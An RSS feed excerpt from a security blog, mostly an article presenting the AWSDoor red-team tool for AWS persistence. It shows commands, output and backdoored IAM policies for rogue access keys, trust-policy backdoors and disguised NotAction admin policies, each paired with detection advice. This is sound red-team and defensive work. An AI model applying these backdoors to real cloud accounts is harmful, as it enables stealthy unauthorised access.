<p><i><span data-contrast="none">Figure 7 – Broker authentication on an MQTT Paho client</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<h3><span data-contrast="none">Implementation of customer protection measures</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="none">If an MQTT client is compromised, an attacker could access a significant amount of information depending on the configuration of the targeted broker. This is why clients, and their secrets, must also be protected by </span><b><span data-contrast="none">applying good security practices on the client&#8217;s host machine</span></b><span data-contrast="none"> and on the content of exchanges (e.g., adding anti-replay mechanisms to requests). </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1><span data-contrast="none">What does the future hold for MQTT?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="none">Despite its maturity, MQTT remains an evolving protocol and is gradually incorporating innovative features to meet the growing demands of connected environments. In a context where demand for reliable, secure, and low-power communications continues to increase, it is likely that MQTT use cases will continue to multiply in the coming years.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/the-security-of-the-mqtt-protocol/">The security of the MQTT protocol</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/10/the-security-of-the-mqtt-protocol/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AWSDoor: Persistence on AWS</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:25:09 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWS Persistence]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatach]]></category>
		<category><![CDATA[Detection AWS Persistence]]></category>
		<category><![CDATA[Persistence]]></category>
		<category><![CDATA[Persistence based on IAM]]></category>
		<category><![CDATA[Persistence based on resources]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[S3 Bucket]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27372</guid>

					<description><![CDATA[<p>Over the past decade, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Over the past decade<strong>, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used</strong> to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is deployed, secured, and monitored.</p>
<p style="text-align: justify;">However, as cloud adoption accelerates, its features and complexity <strong>introduced new challenges associated with securing these environments</strong>. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still <strong>fail to implement effective cloud security strategies</strong> due to the novelty of these environments. Among the most predominant misconfigurations, <strong>misconfigured IAM roles, overly permissive policies</strong>, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.</p>
<p style="text-align: justify;">When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation,<strong> the most common action</strong> following the initial compromise and privilege escalation is <strong>to deploy access persistence on the environment. </strong></p>
<p style="text-align: justify;">Unlike traditional on-premises networks, cloud environments offer several services and <strong>configuration loopholes that can be abused to maintain long-term access</strong> even after remediation efforts have begun.</p>
<p style="text-align: justify;">In this article, we’ll explore the <strong>concept of access persistence in AWS</strong>, dissecting the techniques adversaries can use to hide themselves within a cloud environment.</p>
<p style="text-align: justify;">All along this article, <strong>the features of a dedicated tool</strong> designed to simplify and automate the deployment of <strong>persistence techniques in AWS environments</strong> will be presented</p>
<p>&nbsp;</p>
<h2>Persistence on AWS</h2>
<h3>IAM persistence</h3>
<p style="text-align: justify;">In the context of AWS, <em>Identity and Access Management </em><strong>(IAM) is the cornerstone of security</strong>. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have <strong>not been explicitly allowed</strong> to perform an action , <strong>you won’t be able to do anything.</strong></p>
<p style="text-align: justify;">At a high level, IAM operates by <strong>associating identities (such as IAM users or roles) with policies</strong> that are <em>JSON</em> documents describing the privileges of an IAM object on a resource.</p>
<p style="text-align: justify;">These policies are highly granular, <strong>supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes</strong>. IAM configurations are not just access controls, they are part of the infrastructure itself.</p>
<p style="text-align: justify;">IAM has <strong>become a powerful vector for access persistence</strong> and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they <strong>can modify IAM policies</strong>, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.</p>
<p style="text-align: justify;">What makes <strong>IAM-based persistence especially dangerous is its stealth and durability</strong>. Indeed, changes to IAM often <strong>blend in with legitimate administrative activity</strong>, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the <strong>malicious policy is like finding a needle in a haystack</strong>.</p>
<p style="text-align: justify;">In this section, we’ll explore <strong>common and lesser-known techniques attackers</strong> can use to establish persistence by modifying IAM configurations. We&#8217;ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics</p>
<p>&nbsp;</p>
<h4>Access key</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">The <strong>101-persistence technique is adding an AccessKey </strong>to a user.</p>
<p style="text-align: justify;">On <em>AWS</em>, users can connect through the <em>CLI</em> using <em>AccessKey</em>. The easiest way to deploy persistence is by deploying an <em>AccessKey</em> on a privileged user.</p>
<p style="text-align: justify;">Once the <em>AccessKey</em> is created for the user, the attacker <strong>can access <em>AWS</em> through the <em>CLI</em> with the user’s privileges.</strong></p>
<p style="text-align: justify;">However, this technique has some limitations:</p>
<ul style="text-align: justify;">
<li>Only two <em>AccessKey</em> can be registered at once on a user.</li>
<li>Some <em>SCP</em>, a global policy applied by the organization on a sub-account can prevent users from using <em>AccessKey</em> or enforce <em>MFA</em></li>
</ul>
<p style="text-align: justify;">Regarding the limitation of number of AccessKey registered on a user, it is possible to:</p>
<ol>
<li style="text-align: justify;">List the AccessKey registered on a user</li>
<li style="text-align: justify;">Get the last time the <em>AccessKey</em> has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk</li>
<li style="text-align: justify;">Delete the unused AccessKey:</li>
</ol>
<p>&nbsp;</p>
<figure id="attachment_27374" aria-describedby="caption-attachment-27374" style="width: 1017px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png" alt="Information about the AccessKey has been used" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1.png 1728w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27374" class="wp-caption-text"><em>Information about the AccessKey has been used</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">In order to list and delete an <em>AccessKey</em>, the following privileges are needed:</p>
<ul style="text-align: justify;">
<li><strong>iam:ListAccessKeys</strong>: retrieve the <em>AccessKeys</em> details</li>
<li><strong>iam:UpdateAccessKey</strong>: deactivate the key prior to its deletion</li>
<li><strong>iam:DeleteAccessKey</strong>: effectively delete the <em>AccessKey</em></li>
</ul>
<p style="text-align: justify;">For the <em>MFA</em> it is possible to register an <em>MFA</em> on a specific user without his consent allowing bypassing the restriction. However, if the <em>AccessKey</em> login is denied, this technique cannot be used.</p>
<p style="text-align: justify;">In order to add an <em>AccessKey</em> to a user, the following privilege is needed:</p>
<ul style="text-align: justify;">
<li>iam:CreateAccessKey</li>
</ul>
<p style="text-align: justify;">In order to add <em>MFA</em> to a user, the following privilege is needed:</p>
<ul>
<li style="text-align: justify;">aws:CreateVirtualMfaDevice</li>
<li style="text-align: justify;">aws:EnableMfaDevice</li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in <em>AWSDoor</em>:</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>The <strong>key is then added to the user</strong>:</p>
<p>&nbsp;</p>
<figure id="attachment_27378" aria-describedby="caption-attachment-27378" style="width: 956px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27378" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="AWS Key added through AWSDoor" width="956" height="383" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-2048x819.png 2048w" sizes="auto, (max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27378" class="wp-caption-text"><em>AWS Key added through AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">While adding an <em>AccessKey</em> to a user is the <strong>easiest way to achieve persistence in an AWS environment</strong> it is also one of the <strong>least stealthy methods</strong>.</p>
<p style="text-align: justify;">Indeed, if the detection team detected the environment compromise, it can easily find the <em>AccessKey</em> deployed by <strong>the compromised user through the AWS CloudTrail logs</strong>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27382" aria-describedby="caption-attachment-27382" style="width: 1024px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27382" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png" alt="AccesKey creation log" width="1024" height="741" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1.png 1505w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27382" class="wp-caption-text"><em>AccesKey creation log</em></figcaption></figure>



<p> </p>
<p style="text-align: justify;">Moreover, some security solutions <strong>such as Cloud Security Posture Management system can detect this type of persistence</strong> if users usually do not use AccessKey.</p>
<p style="text-align: justify;">Finally, as a recommendation, it is usually better to <strong>avoid using IAM users with AccessKey and prefere using the AWS SSO</strong>: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html"><span style="color: #000080;">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</span></a></p>
<p style="text-align: justify;">Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to <strong>spot rogue AccessKey and closely monitor existing ones</strong> (<em>CICD</em> service users for example).</p>
<p> </p>
<h4>Trust policy</h4>
<p style="text-align: justify;">In <em>AWS</em>, roles are <em>IAM</em> objects used to delegate access across services, accounts, or users. Unlike IAM users, <strong>roles do not have long-term credentials</strong>. Instead, <strong>they are assumed (used) through the sts:AssumeRole API</strong>, which returns short-lived credentials granting the permissions defined in the role’s permission policies.</p>
<p style="text-align: justify;">To control who can assume a role, <strong>AWS</strong> <strong>uses a special document called a trust policy</strong>. A trust policy specifies the <strong>trusted principals</strong> identities (users, roles, accounts, services, or federated users) that are <strong>allowed to assume the role</strong>. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.</p>
<p style="text-align: justify;">Real life usecase for AssumeRole and Trust Policy</p>
<p style="text-align: justify;">Imagine a company with multiple <em>AWS</em> accounts:</p>
<ul style="text-align: justify;">
<li>one for development</li>
<li>one for staging</li>
<li>one for production</li>
</ul>
<p style="text-align: justify;">Rather than creating and managing separate IAM users in each environment, <strong>the organization defines a centralized group of administrators in a management account</strong>.</p>
<p> </p>
<figure id="attachment_27384" aria-describedby="caption-attachment-27384" style="width: 945px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27384" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png" alt="Principe of AssumeRole through TrustPolicy" width="945" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1.png 1763w" sizes="auto, (max-width: 945px) 100vw, 945px" /><figcaption id="caption-attachment-27384" class="wp-caption-text"><em>Principe of AssumeRole through TrustPolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Each target account <strong>defines a role with elevated privileges</strong> (e.g., CrossAdminAccess), and configures a trust policy <strong>allowing only the management account&#8217;s IAM identities to assume it</strong>. The TrustPolicy, deployed on each target account will look like this:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br />      },<br />      "Action": "sts:AssumeRole",<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This approach provides <strong>clean separation between environments while maintaining centralized control</strong>. Admins &#8220;switch roles&#8221; from the management account into the other accounts only when needed without duplicating credentials.</p>
<p style="text-align: justify;">After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">As it is shown in the previous <em>TrustPolicy</em>, the capacity to assume a specific role in an account <strong>is managed by the policy that explicitly allows a foreign account</strong> to assume a role in the target account.</p>
<p style="text-align: justify;">However, <strong>nothing enforces the TrustPolicy to allow only an account from known and trusted account</strong>. An attacker with the privileges to modify a <em>TrustPolicy</em> can backdoor the policy by allowing his own <em>AWS</em> account to assume the role in the compromised account:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::${attackerAccountId}:role/fakeRole"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br /></pre>
<p>Once this policy is applied, it is <strong>possible to assume the backdoored role directly from the external</strong>.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br />[-] Initial trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::438465151234:root"<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br />[+] New trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::438465151234:user/ADM01",<br />          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Trust policy for FAKEROLE updated</pre>
<p> </p>
<figure id="attachment_27386" aria-describedby="caption-attachment-27386" style="width: 991px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27386" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png" alt="Trust policy modified using AWSDoor" width="991" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1.png 1774w" sizes="auto, (max-width: 991px) 100vw, 991px" /><figcaption id="caption-attachment-27386" class="wp-caption-text"><em>Trust policy modified using AWSDoor</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The tool allows you to:</p>
<ul>
<li style="text-align: justify;"><strong>target a specific statement with the -s argument</strong>: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement</li>
<li style="text-align: justify;"><strong>create a new statement with the -c argument</strong>: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)</li>
</ul>
<p> </p>
<figure id="attachment_27388" aria-describedby="caption-attachment-27388" style="width: 1280px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27388" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png" alt="Creation of a new statement" width="1280" height="855" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1.png 1478w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /><figcaption id="caption-attachment-27388" class="wp-caption-text"><em>Creation of a new statement</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">This type of persistence <strong>is a powerful persistence mechanism in AWS environments</strong>. This technique <strong>does not require storing credentials inside the victim environment</strong>, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.</p>
<p style="text-align: justify;">Detection of this persistence <strong>method requires close monitoring of trust policy changes</strong>. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.</p>
<p> </p>
<figure id="attachment_27390" aria-describedby="caption-attachment-27390" style="width: 931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27390" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png" alt="Event UpdateAssumeRolePolicy" width="931" height="375" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1.png 1944w" sizes="auto, (max-width: 931px) 100vw, 931px" /><figcaption id="caption-attachment-27390" class="wp-caption-text"><em>Event UpdateAssumeRolePolicy</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Likewise, <strong>AWS Config can be used with custom rules to detect TrustPolicy targeting</strong> unmanaged account.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">An IAM role policy is a JSON document <strong>attached to an IAM role that defines what actions the role is allowed</strong> (or denied) to perform, on which resources, and under which conditions.</p>
<p style="text-align: justify;">For example, the following policy allows the associated role to list all S3 buckets in the account.</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">In the policy syntax, <strong>it is possible to use negation operator</strong>: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.</p>
<p style="text-align: justify;">Indeed, <strong>by using the NotAction operator, AWS will apply the statement effect to every action</strong> except those explicitly listed.</p>
<p style="text-align: justify;">For example, the following policy:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This policy will allow the role to <strong>perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket</strong>: it basically grants the associated role the maximum privileges on the account.</p>
<p style="text-align: justify;">For a defender, at first glance, <strong>this policy looks like an inoffensive policy targeting a S3 resource</strong>, but it in fact grants AdministratorAccess privileges to the role.</p>
<p style="text-align: justify;">The attacker <strong>can then backdoor the specific role using the TrustPolicy</strong> persistence as explained before to get a full remote access to the AWS account.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">For the policy, there are two possibilities:</p>
<ul>
<li style="text-align: justify;"><strong>Attached policy</strong>: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:</li>
</ul>
<p> </p>
<figure id="attachment_27393" aria-describedby="caption-attachment-27393" style="width: 724px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png" alt="Role policy attached" width="724" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1.png 1374w" sizes="auto, (max-width: 724px) 100vw, 724px" /><figcaption id="caption-attachment-27393" class="wp-caption-text"><em>Role policy attached</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Inline policy (-i)</strong>: this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.</li>
</ul>
<p style="text-align: justify;">Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.</p>
<p> </p>
<figure id="attachment_27395" aria-describedby="caption-attachment-27395" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png" alt="Inline policy created" width="987" height="420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1.png 1562w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-27395" class="wp-caption-text"><em>Inline policy created</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion</strong>, especially when paired with NotResource fields.</p>
<p style="text-align: justify;">The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:</p>
<ul>
<li style="text-align: justify;"><strong>Monitor IAM Policy Changes</strong> via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion</li>
<li style="text-align: justify;"><strong>Investigation on policy documents containing the NotAction</strong> This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)</li>
<li style="text-align: justify;"><strong>Enforce compliance check with AWS Config</strong>: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect</li>
</ul>
<p> </p>
<h3>Resource based persistence</h3>
